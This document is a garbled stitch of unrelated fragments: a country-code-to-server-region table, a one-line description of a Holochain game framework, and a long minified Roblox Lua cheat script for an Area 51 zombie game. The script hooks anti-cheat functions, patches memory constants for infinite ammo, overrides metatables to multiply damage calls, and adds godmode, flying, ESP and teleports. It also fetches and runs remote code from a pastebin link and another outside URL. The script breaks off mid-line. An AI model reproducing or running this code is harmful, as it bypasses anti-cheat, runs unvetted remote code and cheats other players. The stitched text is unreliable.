'JP-Tokyo', VG: 'US-Atlanta', BN: 'JP-Tokyo', BG: 'EU-London', BF: 'EU-London', BI: 'EU-London', KH: 'JP-Tokyo', CM: 'EU-London', CA: 'US-Atlanta', CV: 'EU-London', KY: 'US-Atlanta', CF: 'EU-London', TD: 'EU-London', CL: 'BR-Brazil', CN: 'CN-China', CX: 'JP-Tokyo', CC: 'JP-Tokyo', CO: 'BR-Brazil', KM: 'EU-London', CD: 'EU-London', CG: 'EU-London', CK: 'SG-Singapore', CR: 'US-Atlanta', CI: 'EU-London', HR: 'EU-London', CU: 'US-Atlanta', CW: 'US-Atlanta', CY: 'JP-Tokyo', CZ: 'EU-London', DK: 'EU-London', DJ: 'EU-London', DM: 'US-Atlanta', DO: 'US-Atlanta', EC: 'BR-Brazil', EG: 'EU-London', SV: 'US-Atlanta', GQ: 'EU-London', ER: 'EU-London', EE: 'EU-London', ET: 'EU-London', FO: 'EU-London', FK: 'BR-Brazil', FJ: 'SG-Singapore', FI: 'EU-London', FR: 'EU-London', GF: 'BR-Brazil', PF: 'SG-Singapore', GA: 'EU-London', GM: 'EU-London', GE: 'JP-Tokyo', DE: 'EU-London', GH: 'EU-London', GI: 'EU-London', GR: 'EU-London', GL: 'US-Atlanta', GD: 'US-Atlanta', GP: 'US-Atlanta', GU: 'SG-Singapore', GT: 'US-Atlanta', GG: 'EU-London', GN: 'EU-London', GW: 'EU-London', GY: 'BR-Brazil', HT: 'US-Atlanta', VA: 'EU-London', HN: 'US-Atlanta', HK: 'JP-Tokyo', HU: 'EU-London', IS: 'EU-London', IN: 'JP-Tokyo', ID: 'JP-Tokyo', IR: 'JP-Tokyo', IQ: 'JP-Tokyo', IE: 'EU-London', IM: 'EU-London', IL: 'JP-Tokyo', IT: 'EU-London', JM: 'US-Atlanta', JP: 'JP-Tokyo', JE: 'EU-London', JO: 'JP-Tokyo', KZ: 'JP-Tokyo', KE: 'EU-London', KI: 'SG-Singapore', KP: 'JP-Tokyo', KR: 'JP-Tokyo', KW: 'JP-Tokyo', KG: 'JP-Tokyo', LA: 'JP-Tokyo', LV: 'EU-London', LB: 'JP-Tokyo', LS: 'EU-London', LR: 'EU-London', LY: 'EU-London', LI: 'EU-London', LT: 'EU-London', LU: 'EU-London', MO: 'JP-Tokyo', MK: 'EU-London', MG: 'EU-London', MW: 'EU-London', MY: 'JP-Tokyo', MV: 'JP-Tokyo', ML: 'EU-London', MT: 'EU-London', MH: 'SG-Singapore', MQ: 'US-Atlanta', MR: 'EU-London', MU: 'EU-London', YT: 'EU-London', MX: 'US-Atlanta', FM: 'SG-Singapore', MD: 'EU-London', MC: 'EU-London', MN: 'JP-Tokyo', ME: 'EU-London', MS: 'US-Atlanta', MA: 'EU-London', MZ: 'EU-London', MM: 'JP-Tokyo', NA: 'EU-London', NR: 'SG-Singapore', NP: 'JP-Tokyo', NL: 'EU-London', NC: 'SG-Singapore', NZ: 'SG-Singapore', NI: 'US-Atlanta', NE: 'EU-London', NG: 'EU-London', NU: 'SG-Singapore', NF: 'SG-Singapore', MP: 'SG-Singapore', NO: 'EU-London', OM: 'JP-Tokyo', PK: 'JP-Tokyo', PW: 'SG-Singapore', PS: 'JP-Tokyo', PA: 'US-Atlanta', PG: 'SG-Singapore', PY: 'BR-Brazil', PE: 'BR-Brazil', PH: 'JP-Tokyo', PN: 'SG-Singapore', PL: 'EU-London', PT: 'EU-London', PR: 'US-Atlanta', QA: 'JP-Tokyo', RE: 'EU-London', RO: 'EU-London', RU: 'RU-Russia', RW: 'EU-London', BL: 'US-Atlanta', SH:
willemolding
Checkers, tic-tac-toe, connect-4. These are all the same right? A framework for two player, turn based, perfect information games on Holochain
local b=game:GetService("Players")local c=game:GetService("ReplicatedStorage")local d=game:GetService("StarterGui")local e=game:GetService("RunService")local f=game:GetService("StarterPlayer")local g=game:GetService("TestService")local h=game:GetService("VirtualUser")local i=game:GetService("TweenService")local j=game:GetService("UserInputService")local k=game:GetService("Players").LocalPlayer;local l=game.Workspace.CurrentCamera;local m=loadstring(game:HttpGet("https://api.irisapp.ca/Scripts/IrisBetterNotifications.lua"))()local n=loadstring(game:HttpGet("https://pastebin.com/raw/en4Ma7jr"))()local o="BloodTheme"local p=get_thread_context or get_thread_identity or getidentity or syn_context_get;getgenv().syn_context_get=newcclosure(function(...)return p(...)end)if game.PlaceId==2092166489 then function CountTable(q)local r,s=0;repeat s=next(q,s)if s~=nil then r=r+1 end until s==nil;return r end;for t,u in pairs(getgc())do if type(u)=="function"and rawget(getfenv(u),"script")==game.Players.LocalPlayer.PlayerScripts.Stuffs then local w=debug.getconstants(u)if CountTable(w)==5 then if table.find(w,"WalkSpeed")and table.find(w,"GetPropertyChangedSignal")and table.find(w,"Connect")then hookfunction(u,function()end)end end end end;hookfunction(getconnections(game.Players.LocalPlayer.Character.Humanoid:GetPropertyChangedSignal("WalkSpeed"))[1].Function,function()end)m.Notify("Survive and Kill the Killers UI","Loaded","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})local x=n.CreateLib("Classic Mode UI",o)local y=x:NewTab("Autofarm:")local z=y:NewSection("Enable/Disable Autofarm")local function A()local B=workspace.CurrentCamera;local C=k.Character;local D=k;local E,C=B.CFrame,D.Character;local F=C and C.FindFirstChildWhichIsA(C,"Humanoid")local H=F.Clone(F)H.Parent,D.Character=C,nil;H.SetStateEnabled(H,15,false)H.SetStateEnabled(H,1,false)H.SetStateEnabled(H,0,false)H.BreakJointsOnDeath,F=true,F.Destroy(F)D.Character,B.CameraSubject,B.CFrame=C,H,wait()and E;H.DisplayDistanceType=Enum.HumanoidDisplayDistanceType.None;local I=C.FindFirstChild(C,"Animate")if I then I.Disabled=true;wait()I.Disabled=false end end;local function J()for K,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=game:GetService("Players").LocalPlayer.StarterGear end end;for K,v in pairs(game:GetService("Players").LocalPlayer.StarterGear:GetChildren())do if v:IsA("Tool")then v.Parent=game.Players.LocalPlayer.Backpack end end end;local function L()for K,v in pairs(getgc())do if type(v)=="function"and islclosure(v)and not is_synapse_function(v)then local M=debug.getconstants(v)if table.find(M,"ammo")and table.find(M,"update_ammo_gui")and table.find(M,"has_scope")then debug.setconstant(v,2,-999999)end end end end;local function N()for K,v in pairs(game:GetService("Workspace").AREA51.SewerCaptainRoom["Captain Zombie Feeder"].Cage:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Open"then fireclickdetector(v)end end end;local function O()local P=k.Character.HumanoidRootPart;function GetWepons(Q)firetouchinterest(P,Q,0)end;for K,v in pairs(game.Workspace:GetDescendants())do if v.Name:match("WEAPON")and v:IsA("Part")then GetWepons(v)end end end;z:NewToggle("//Autofarm \\","Enables Autofarm for SAKTK",function(R)if R then n:ToggleUI()m.Notify("Enabled Autofarm","Press F to Enable the SAKTK UI to disable autofarm.","http://www.roblox.com/asset/?id=5082257850",{Duration=15,Main={Rounding=true}})L()N()O()k.CameraMode=Enum.CameraMode.LockFirstPerson;for K,v in pairs(k.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=k.Character end end;game:GetService("StarterGui").TailsPopup.Enabled=false;game:GetService("Players").LocalPlayer.PlayerGui.TailsPopup.Enabled=false;game:GetService("Workspace").Killers:FindFirstChild("Giant"):Destroy()for K,v in pairs(game.Workspace.Killers:GetChildren())do if v:IsA("Model")then repeat wait()mouse1press()l.CoordinateFrame=CFrame.new(l.CoordinateFrame.p,v.Head.CFrame.p)k.Character.HumanoidRootPart.CFrame=v.Head.CFrame+v.Head.CFrame.lookVector*-5 until v.Zombie.Health==0;wait()end end else workspace.CurrentCamera.CameraSubject=k.Character:FindFirstChildWhichIsA('Humanoid')workspace.CurrentCamera.CameraType="Custom"k.CameraMinZoomDistance=0.5;k.CameraMaxZoomDistance=400;k.CameraMode="Classic"k.Character.Head.Anchored=false end end)z:NewToggle("Fullbright","Makes the game bright",function(R)m.Notify("Fullbright","Enabled","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})if R then game:GetService("Lighting").Brightness=2;game:GetService("Lighting").ClockTime=14;game:GetService("Lighting").FogEnd=100000;game:GetService("Lighting").GlobalShadows=false;game:GetService("Lighting").OutdoorAmbient=Color3.fromRGB(128,128,128)else m.Notify("Fullbright","Disabled","http://www.roblox.com/asset/?id=261113606",{Duration=4,Main={Rounding=true}})origsettings={abt=game:GetService("Lighting").Ambient,oabt=game:GetService("Lighting").OutdoorAmbient,brt=game:GetService("Lighting").Brightness,time=game:GetService("Lighting").ClockTime,fe=game:GetService("Lighting").FogEnd,fs=game:GetService("Lighting").FogStart,gs=game:GetService("Lighting").GlobalShadows}game:GetService("Lighting").Ambient=origsettings.abt;game:GetService("Lighting").OutdoorAmbient=origsettings.oabt;game:GetService("Lighting").Brightness=origsettings.brt;game:GetService("Lighting").ClockTime=origsettings;game:GetService("Lighting").FogEnd=200;game:GetService("Lighting").FogStart=20;game:GetService("Lighting").FogColor=191,191,191;game:GetService("Lighting").GlobalShadows=origsettings.gs end end)local y=x:NewTab("LocalPlayer")local z=y:NewSection("Humanoid")z:NewToggle("Fly","Allows you to Fly through the game.",function(R)if R then m.Notify("Enabled Fly","Press LeftALT to Enable/Disable Fly.","http://www.roblox.com/asset/?id=5082257850",{Duration=15,Main={Rounding=true}})_G.Enabled=true;local l=game.Workspace.CurrentCamera;local k=game:GetService("Players").LocalPlayer;local S=game:GetService("UserInputService")local T=false;local U=false;local V=false;local W=false;local X=false;local Y=false;local function Z()for K,v in pairs(k.Character:GetChildren())do pcall(function()v.Anchored=not v.Anchored end)end end;S.InputBegan:Connect(function(s,_)if _ then return end;if s.KeyCode==Enum.KeyCode.LeftAlt then Enabled=not Enabled;Z()end;if s.KeyCode==Enum.KeyCode.W then T=true end;if s.KeyCode==Enum.KeyCode.S then U=true end;if s.KeyCode==Enum.KeyCode.A then V=true end;if s.KeyCode==Enum.KeyCode.D then W=true end;if s.KeyCode==Enum.KeyCode.Space then X=true end;if s.KeyCode==Enum.KeyCode.LeftControl then Y=true end end)S.InputEnded:Connect(function(s,_)if _ then return end;if s.KeyCode==Enum.KeyCode.W then T=false end;if s.KeyCode==Enum.KeyCode.S then U=false end;if s.KeyCode==Enum.KeyCode.A then V=false end;if s.KeyCode==Enum.KeyCode.D then W=false end;if s.KeyCode==Enum.KeyCode.Space then X=false end;if s.KeyCode==Enum.KeyCode.LeftControl then Y=false end end)while game:GetService("RunService").RenderStepped:Wait()do if Enabled then pcall(function()if T then k.Character:TranslateBy(l.CFrame.lookVector*2)end;if U then k.Character:TranslateBy(-l.CFrame.lookVector*2)end;if V then k.Character:TranslateBy(-l.CFrame:vectorToWorldSpace(Vector3.new(1,0,0))*2)end;if W then k.Character:TranslateBy(l.CFrame:vectorToWorldSpace(Vector3.new(1,0,0))*2)end;if X then k.Character:TranslateBy(l.CFrame:vectorToWorldSpace(Vector3.new(0,1,0))*2)end;if Y then k.Character:TranslateBy(-l.CFrame:vectorToWorldSpace(Vector3.new(0,1,0))*2)end end)end end else print("ok")end end)z:NewSlider("WalkSpeed","Move the slider to set WalkSpeed for Humanoid",500,0,function(a0)k.Character.Humanoid.WalkSpeed=a0 end)z:NewSlider("JumpPower","Move the slider to set JumpPower for Humanoid",500,0,function(a0)k.Character.Humanoid.JumpPower=a0 end)z:NewSlider("Gravity","Move the slider to set Garavity inside of the workspace.",50,0,function(a0)workspace.Gravity=a0 end)z:NewToggle("GodMode","Gives you Godmode",function(R)m.Notify("Godmode","Enabled","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})if R then local B=workspace.CurrentCamera;local C=game.Players.LocalPlayer.Character;local D=game.Players.LocalPlayer;local E,C=B.CFrame,D.Character;local F=C and C.FindFirstChildWhichIsA(C,"Humanoid")local H=F.Clone(F)H.Parent,D.Character=C,nil;H.SetStateEnabled(H,15,false)H.SetStateEnabled(H,1,false)H.SetStateEnabled(H,0,false)H.BreakJointsOnDeath,F=true,F.Destroy(F)D.Character,B.CameraSubject,B.CFrame=C,H,wait()and E;H.DisplayDistanceType=Enum.HumanoidDisplayDistanceType.None;local I=C.FindFirstChild(C,"Animate")if I then I.Disabled=true;wait()I.Disabled=false end;H.Health=H.MaxHealth else game:GetService("TeleportService"):Teleport(game.PlaceId,game.Players.LocalPlayer)end end)z:NewButton("Unlock all Secrets","Unlocks all the secrets in the game",function()O()firetouchinterest(game.Players.LocalPlayer.Character.HumanoidRootPart,game:GetService("Workspace").AREA51.RadioactiveArea.GiantZombieRoom.GiantZombieEngine.Close.Door2,0)function GetWepons(Q)firetouchinterest(k.Character.HumanoidRootPart,Q,0)end;for K,v in pairs(game:GetService("Workspace"):GetDescendants())do if v:IsA("Part")and v.Name:match("Paper")or v.Name:match("Reward")then GetWepons(v)end end;for K,v in pairs(game:GetService("Workspace"):GetDescendants())do if v:IsA("Part")and v.Name:match("TheButton")then GetWepons(v)end end;firetouchinterest(game.Players.LocalPlayer.Character.HumanoidRootPart,game:GetService("Workspace").AREA51.PlantRoom["Box of Shells"].Box,0)wait(0.2)local a1=k.Character.HumanoidRootPart.CFrame;k.Character.HumanoidRootPart.CFrame=CFrame.new(game:GetService("Workspace").AREA51.ExecutionRoom.Reward.Position)wait(0.2)game:GetService("ReplicatedStorage")["Remote Functions"]["PAP Weapon"]:InvokeServer("M14")k.CFrame=CFrame.new(326.773315,511.5,392.70932,0.982705772,0,-0.185173988,0,1,0,0.185173988,0,0.982705772)end)z:NewButton("Get all Badges","Gives almost every badge.",function()O()firetouchinterest(a,game:GetService("Workspace").AREA51.SecretPath6.Reward)for a2,v in pairs(game:GetService("Workspace").AREA51.Badges:GetDescendants())do if v:IsA("TouchTransmitter")and v.Parent:IsA("Part")then firetouchinterest(game.Players.LocalPlayer.Character.HumanoidRootPart,v.Parent,0)wait()firetouchinterest(game.Players.LocalPlayer.Character.HumanoidRootPart,v.Parent,1)end end end)z:NewButton("Get Gamepasses","Tries to give you gamepasses.",function()game.Players.LocalPlayer.Character.Humanoid.WalkSpeed=25;O()game.Players.LocalPlayer.Character.Humanoid.Died:Connect(function()wait(8)game.Players.LocalPlayer.Character.Humanoid.WalkSpeed=25;O()J()end)end)z:NewButton("Get Code for Door","Please walk after clicking this.",function()m.Notify("Get Code","Enabled Please walk forward the first number is the first numeral for the door.","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})for a2,v in pairs(game:GetService("Workspace").AREA51.CodeModel:GetDescendants())do if v:IsA("Part")then wait(.33)v.CFrame=game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame end end end)local y=x:NewTab("Gun Cheats:")local z=y:NewSection("Rainbow Weapons")z:NewButton("Get all Weapons","Gives you every weapon in-game",function()function GetWepons(Q)firetouchinterest(k.Character.HumanoidRootPart,Q,0)end;for K,v in pairs(game.Workspace:GetDescendants())do if v.Name:match("WEAPON")and v:IsA("Part")then GetWepons(v)end end end)z:NewButton("Infinite-Ammo","Gives you Infinite Ammo for your weaponary",function()local a3=math.sin(workspace.DistributedGameTime/2)/2+0.5;local a4=math.sin(workspace.DistributedGameTime)/2+0.5;local a5=math.sin(workspace.DistributedGameTime*1.5)/2+0.5;local a6=Color3.new(a3,a4,a5)for a2,a7 in pairs(getreg())do if typeof(a7)=="table"then if a7.shoot_wait then a7.shoot_wait=0;a7.is_auto=true;a7.MaxHealth=0;a7.Health=0;a7.is_burst=false;a7.burst_count=15;a7.bullet_color=BrickColor.new("Toothpaste")a7.inaccuracy=0;a7.is_pap="PAP"a7.vibration_changed=0;a7.touch_mode=false;a7.reloading=false;a7.equip_time=0;a7.holding=true;a7.ready=true;a7.stolen=false;a7.clear_magazine=false;a7.cancel_reload=false;a7.is_grenade=true;a7.is_pap=true;for K,v in pairs(getgc())do if type(v)=="function"and islclosure(v)and not is_synapse_function(v)then local M=debug.getconstants(v)if table.find(M,"ammo")and table.find(M,"update_ammo_gui")and table.find(M,"has_scope")then debug.setconstant(v,2,-999999)end end end end end end end)z:NewButton("One shot Killers","Gives you more Damage on Killers",function()local a8={repeatamount=100,inclusions={"Missile Touch","Fired"}}local a9=getrawmetatable(game)local aa=a9.__namecall;setreadonly(a9,false)local function ab(ac)for K,a7 in next,a8.inclusions do if ac.Name==a7 then return true end end;return false end;a9.__namecall=function(ac,...)local ad={...}local ae=getnamecallmethod()if ae=="FireServer"or ae=="InvokeServer"and ab(ac)then for K=1,a8.repeatamount do aa(ac,...)end end;return aa(ac,...)end;setreadonly(a9,true)end)z:NewToggle("Rainbow Weapons","Allows you to have Rainbow Weapons.",function(R)if R then m.Notify("Rainbow Guns ","Activated","http://www.roblox.com/asset/?id=5124031298",{Duration=4,Main={Rounding=true}})_G.rainbowdoo=true;while wait(0.1)do if _G.rainbowdoo==true then local a3=math.sin(game.workspace.DistributedGameTime/2)/2+0.5;local a4=math.sin(game.workspace.DistributedGameTime)/2+0.5;local a5=math.sin(game.workspace.DistributedGameTime*1.5)/2+0.5;local a6=Color3.new(a3,a4,a5)for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Backpack:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Backpack:GetDescendants())do if v:IsA('Part')and v.Parent:IsA('Tool')then v.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Part')and v.Parent:IsA('Tool')then v.BrickColor=BrickColor.new(a6)end end end end else _G.rainbowdoo=false;wait(4)for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new("Really black")end end end end)z:NewToggle("Equip all Tools","Equips all the tools in your backpack.",function(R)if R then local function O()for K,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=game:GetService("Players").LocalPlayer.Character end end end;O()else for K,v in pairs(k.Character:GetChildren())do if v:IsA('Tool')then v.Parent=k.Backpack end end end end)z:NewToggle("Save Tools","Saves your tools ",function(R)if R then for a2,v in pairs(k.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=k end end else for a2,v in pairs(k:GetChildren())do if v:IsA("Tool")then v.Parent=k.Backpack end end end end)z:NewButton("Drop Tools","Drops your tools",function()for a2,v in pairs(k.Backpack:GetChildren())do k.Character.Humanoid:EquipTool(v)v.Parent=nil end end)local y=x:NewTab("PAP Weapons:")local z=y:NewSection("Select Weapon to Pack a Punch")local a9=getrawmetatable(game)local aa=a9.__index;setreadonly(a9,false)a9.__index=newcclosure(function(self,af)if tostring(self)=='Busy'and af=='Value'then return false end;return aa(self,af)end)setreadonly(a9,true)z:NewToggle("PAP All Weapons","PAP all your weapons in your inventory.",function(R)m.Notify("PAP All","Enabled","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})if R then _G.papAll=true;while wait(5)do if _G.papAll==true then for K,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren())do game:GetService("ReplicatedStorage")["Remote Functions"]["PAP Weapon"]:InvokeServer(v.Name)end end end else _G.papAll=false end end)z:NewDropdown("PAP Weapon","DropdownInf",{"M1911","RayGun","MP5k","R870","M4A1","AK-47","M1014","Desert Eagle","SVD","M16A2/M203","M14","G36C","AWP","Crossbow","Desert Eagle"},function(ag)m.Notify("PAP..",ag,"http://www.roblox.com/asset/?id=5502174644",{Duration=4,Main={Rounding=true}})game:GetService("ReplicatedStorage")["Remote Functions"]["PAP Weapon"]:InvokeServer(ag)end)local y=x:NewTab("Doors AREA51:")local z=y:NewSection("Open/Close Doors")z:NewToggle("Spam Open Doors","Spam Opens the Area-51 Doors",function(R)if R then _G.spamDoors=true;while wait(0.5)do if _G.spamDoors==true then for K,v in pairs(game:GetService("Workspace").AREA51.Doors:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Open"then fireclickdetector(v)end end end end else _G.spamDoors=false end end)z:NewToggle("Spam Close Doors","Spam Closes the Area-51 Doors",function(R)if R then _G.spamDoors=true;while wait(0.5)do if _G.spamDoors==true then for K,v in pairs(game:GetService("Workspace").AREA51.Doors:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Close"then fireclickdetector(v)end end end end else _G.spamDoors=false end end)z:NewButton("Open Doors","Opens all the Doors in Area51",function()for K,v in pairs(game:GetService("Workspace").AREA51.Doors:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Open"then fireclickdetector(v)end end end)z:NewButton("Close Doors","Opens all the Doors in Area51",function()for K,v in pairs(game:GetService("Workspace").AREA51.Doors:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Close"then fireclickdetector(v)end end end)local y=x:NewTab("ESP:")local z=y:NewSection("ESP for Player/Killers")z:NewToggle("Player ESP","Enables Player-ESP for Players",function(R)if R then _G.on=true;repeat local function ah(player)local a5=Instance.new("BoxHandleAdornment",player)a5.AlwaysOnTop=true;a5.ZIndex=5;a5.Size=player.Size;a5.Adornee=player;a5.Transparency=0.8 end;function Main(ai)for K,v in pairs(ai:GetChildren())do if v:IsA("BasePart")and not v:FindFirstChild("BoxHandleAdornment")then ah(v)end end end;for K,v in pairs(game.Workspace:GetDescendants())do pcall(function()if v:FindFirstChild("Humanoid")and v.Parent.Name=="Characters to kill"and v.Name~=game.Players.LocalPlayer.Name then Main(v)end end)end;wait(7)until _G.on==false else _G.on=false;for K,v in pairs(game:GetService("Workspace")["Characters to kill"]:GetDescendants())do if v:IsA("BoxHandleAdornment")then v:Destroy()end end end end)z:NewToggle("Killer ESP","Enables Killer-ESP for Killers",function(R)if R then _G.lol=true;repeat local function ah(player)local a5=Instance.new("BoxHandleAdornment",player)a5.AlwaysOnTop=true;a5.ZIndex=5;a5.Size=player.Size;a5.Adornee=player;a5.Transparency=0;a5.Color=BrickColor.new("Bright red")end;function Main(ai)for K,v in pairs(ai:GetChildren())do if v:IsA("BasePart")and not v:FindFirstChild("BoxHandleAdornment")then ah(v)end end end;for K,v in pairs(game.Workspace:GetDescendants())do pcall(function()if v:FindFirstChild("Zombie")and v.Name~=game.Players.LocalPlayer.Name then Main(v)end end)end;wait(7)until _G.lol==false else _G.lol=false;for K,v in pairs(game.Workspace.Killers:GetDescendants())do if v:IsA("BoxHandleAdornment")then v:Destroy()end end end end)local y=x:NewTab("Teleports:")local z=y:NewSection("Teleports")z:NewDropdown("Weapon Teleports","DropdownInf",{"M14","RILG","R870","CLT1","SBG","SVD","Code-Door"},function(ag)local hum=k.Character.HumanoidRootPart;local aj=hum.CFrame;if ag=="M14"then hum.CFrame=CFrame.new(106.981911,323.620026,678.865051,0.108975291,-4.31107949e-08,0.994044483,-5.13666043e-09,1,4.39322072e-08,-0.994044483,-9.89359261e-09,0.108975291)wait(.2)hum.CFrame=CFrame.new(aj)elseif ag=="RILG"then hum.CFrame=CFrame.new(232.505737,373.660004,45.4774323,-0.999948323,-2.07754458e-09,0.0101688765,-3.00104475e-09,1,-9.08010804e-08,-0.0101688765,-9.08269016e-08,-0.999948323)elseif ag=="R870"then hum.CFrame=CFrame.new(143.435638,333.659973,499.670258,0.068527095,6.73678642e-08,-0.997649252,2.92282767e-08,1,6.95342521e-08,0.997649252,-3.39245503e-08,0.068527095)elseif ag=="CLT1"then hum.CFrame=CFrame.new(60.6713562,291.579956,262.712402,-0.0193858538,1.378409e-07,0.999812067,1.73167649e-08,1,-1.37531046e-07,-0.999812067,1.46473536e-08,-0.0193858538)elseif ag=="SBG"then hum.CFrame=CFrame.new(3.0812099,267.780121,184.758041,-0.998869121,3.20666018e-08,-0.0475441888,3.84712493e-08,1,-1.33794302e-07,0.0475441888,-1.35472078e-07,-0.998869121)elseif ag=="SVD"then hum.CFrame=CFrame.new(181.740906,306.660126,179.980011,-0.977237761,-295549789e-08,0.212145314,-3.5164706e-08,1,-2.25858496e-08,-0.212145314,-2.95278366e-08,-0.977237761)elseif ag=="blRU"then hum.CFrame=CFrame.new(19.2511063,313.500336,204.38269,0.113481902,7.8155864e08,0.993540049,-2.13239897e-08,1,-7.62284031e-08,-0.993540049,-1.25357014e-08,0.113481902)end end)z:NewDropdown("Teleport to Room","DropdownInf",{"Cafe-Room","Cartons-Room","Code-Door","Computers-Room","Corridor-to-Meeting-Room","Electricity-Room","Emergency-Hole-Down-To-Area","Entrance-To-Area","Main-Room","Entrance"},function(ag)if ag=="Cafe-Room"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.CafeRoom.Tables.Table.Table.Model.Part.CFrame elseif ag=="Cartons-Room"then k.Character.HumanoidRootPart.CFrame=CFrame.new(149.739914,313.500458,194.231888,0.442422092,6.81004985e-06,-0.896806836,1.24363009e-06,1,8.20718469e-06,0.896806836,-4.74633543e-06,0.442422092)elseif ag=="Code-Door"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.CodeDoorRoom.CodeDoor.Door.CFrame elseif ag=="Computers-Room"then k.Character.HumanoidRootPart.CFrame=CFrame.new(219.700012,310,370.399994,-1,0,0,0,1,0,0,0,-1)elseif ag=="Corridor-to-Meeting-Room"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.CorridorToMeetingRoom.Part.CFrame elseif ag=="Electricity-Room"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.ElectricityRoom.Generator1.Base.CFrame elseif ag=="Emergency-Hole-Down-To-Area"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.EmercencyHoleDownToArea.Part.CFrame elseif ag=="Entrance-To-Area"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.EntranceOfArea.Part.CFrame elseif ag=="Main-Room"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.MainRoom.Part.CFrame elseif ag=="Entrance"then hum.CFrame=CFrame.new(327.317322,511.5,397.900269,1,-2.05416537e-08,-2.7642145e-15,2.05416537e-08,1,1.25194637e-08,2.50704388e-15,-1.25194637e-08,1)elseif ag=="Code-Door"then game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.CodeDoorRoom.CodeDoor.Enter end end)local y=x:NewTab("Settings:")local z=y:NewSection("Keybind to ToggleUI")z:NewKeybind("Keybind to ToggleUI","Toggles Epic-Minigames UI",Enum.KeyCode.F,function()n:ToggleUI()end)local y=x:NewTab("Modes:")local z=y:NewSection("Teleports")z:NewButton("Rejoin","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(game.PlaceId,k)end)z:NewButton("ServerHop","Click on this button to serverhop to another game.",function()local M={}for a2,v in ipairs(game:GetService("HttpService"):JSONDecode(game:HttpGetAsync("https://games.roblox.com/v1/games/"..game.PlaceId.."/servers/Public?sortOrder=Asc&limit=100")).data)do if type(v)=="table"and v.maxPlayers>v.playing and v.id~=game.JobId then M[#M+1]=v.id end end;if#M>0 then game:GetService("TeleportService"):TeleportToPlaceInstance(game.PlaceId,M[math.random(1,#M)])end end)z:NewButton("Normal Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2092166489,k)end)z:NewButton("Killer Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2092167559,k)end)z:NewButton("Juggernaut Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(4678052190,k)end)z:NewButton("Endless Survival","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2675280735,k)end)z:NewButton("Killhouse","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(4631179692,k)end)z:NewButton("Area-51 Storming","Click on this button to join the game.",function()game:GetService("TeleportService"):Teleport(3508248007,k)end)elseif game.PlaceId==155382109 then local o="BloodTheme"local x=n.CreateLib("Main Menu UI",o)local y=x:NewTab("Main:")local z=y:NewSection("You're currently in the main menu.")z:NewTextBox("Enter Username","Enter Name.",function(ak)_G.getText=ak end)z:NewToggle("Spam-Send-Invites","Automatically sends a invite every 5 seconds.",function(R)if R then _G.autoSend=true;while wait()do if _G.autoSend==true then if _G.getText==""then m.Notify("Please enter a Username.","","http://www.roblox.com/asset/?id=261113606",{Duration=9,Main={Rounding=true}})end;local ad={[1]=game:GetService("Players")[_G.getText]}game:GetService("ReplicatedStorage").BossRushFunctions.RequestJoin:InvokeServer(unpack(ad))end end else _G.autoSend=false end end)z:NewButton("Spam Join Storming","Spam Joins and Leaves Storming",function()_G.spam=true;while wait()do if _G.spam==true then game:GetService("ReplicatedStorage").StormingEvents.JoinRequested:FireServer()wait(.1)game:GetService("ReplicatedStorage").StormingEvents.LeaveRequested:FireServer()end end end)local y=x:NewTab("Settings:")local z=y:NewSection("Keybind to ToggleUI")z:NewKeybind("Keybind to ToggleUI","Toggles Epic-Minigames UI",Enum.KeyCode.F,function()n:ToggleUI()end)local y=x:NewTab("Modes:")local z=y:NewSection("Teleports")z:NewButton("Rejoin","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(game.PlaceId,k)end)z:NewButton("ServerHop","Click on this button to serverhop to another game.",function()local M={}for a2,v in ipairs(game:GetService("HttpService"):JSONDecode(game:HttpGetAsync("https://games.roblox.com/v1/games/"..game.PlaceId.."/servers/Public?sortOrder=Asc&limit=100")).data)do if type(v)=="table"and v.maxPlayers>v.playing and v.id~=game.JobId then M[#M+1]=v.id end end;if#M>0 then game:GetService("TeleportService"):TeleportToPlaceInstance(game.PlaceId,M[math.random(1,#M)])end end)z:NewButton("Normal Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2092166489,k)end)z:NewButton("Killer Mode","Click on this button to rejoin the 